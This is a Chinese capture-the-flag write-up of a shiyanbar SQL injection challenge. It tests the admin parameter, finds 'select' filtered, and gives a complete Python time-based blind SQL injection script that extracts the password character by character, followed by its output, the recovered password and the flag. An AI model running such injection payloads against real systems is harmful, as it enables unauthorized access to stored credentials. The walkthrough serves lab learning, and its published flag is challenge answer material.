看起来有点难
原题链接
http://ctf5.shiyanbar.com/basic/inject/index.php
分析
测试?admin=1&pass=1&action=login
报错,无法连接到数据库
测试?admin=admin'&pass=admin&action=login
,报错,密码错误
这或许说明,admin=admin只要知道密码就行了。
这里本想直接用爆破,但是听说密码不是那种弱口令,或者字典的,就停了。。
还是回归sql注入。
注入点应该还是admin字段,测试一下过滤,试了一下?admin=admin' union select 1,2,3 --+&pass=admin&action=login
弹窗警告了!然后过滤了select
,剩下的burp fuzz
过滤字符
空格 select
双写大小写绕不过去,而且并没有报错信息
http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin%27exp(~0)%20--+%20&pass=admin&action=login
admin'exp(~0) --
测试?admin=admin' and sleep(5) --+
发现延时了。
于是只能使用时间盲注。
#coding:utf-8
import requests
import string
str = string.ascii_lowercase+string.digits+'@_{}.*'
#print str
flag=""
print "start:"
# ## length 先爆出字段长度
# for i in range(1,20):
# url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(length(password)=%s) then sleep(8) else sleep(0) end and ''='&pass=&action=login" %i
# try:
# res = requests.get(url, timeout=5)
# except:
# print "length:%s" % i
# break
###start:
###length:8
for i in range(1,9):
for s in str:
url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(8) else sleep(0) end and ''='&pass=&action=login" %(i,s)
try:
res = requests.get(url, timeout=5)
except:
flag += s
print "%s:%s" %(i,flag)
break
print "done.pass:"+flag
运行结果
start:
1:i
2:id
3:idn
4:idnu
5:idnue
6:idnuen
7:idnuenn
8:idnuenna
done.pass:idnuenna
[Finished in 120.3s]
得到密码idnuenna
登陆得到flag
恭喜你密码正确! KEY :!@#WwwN5f0cu5coM
flag
!@#WwwN5f0cu5coM
知识点
sql时间盲注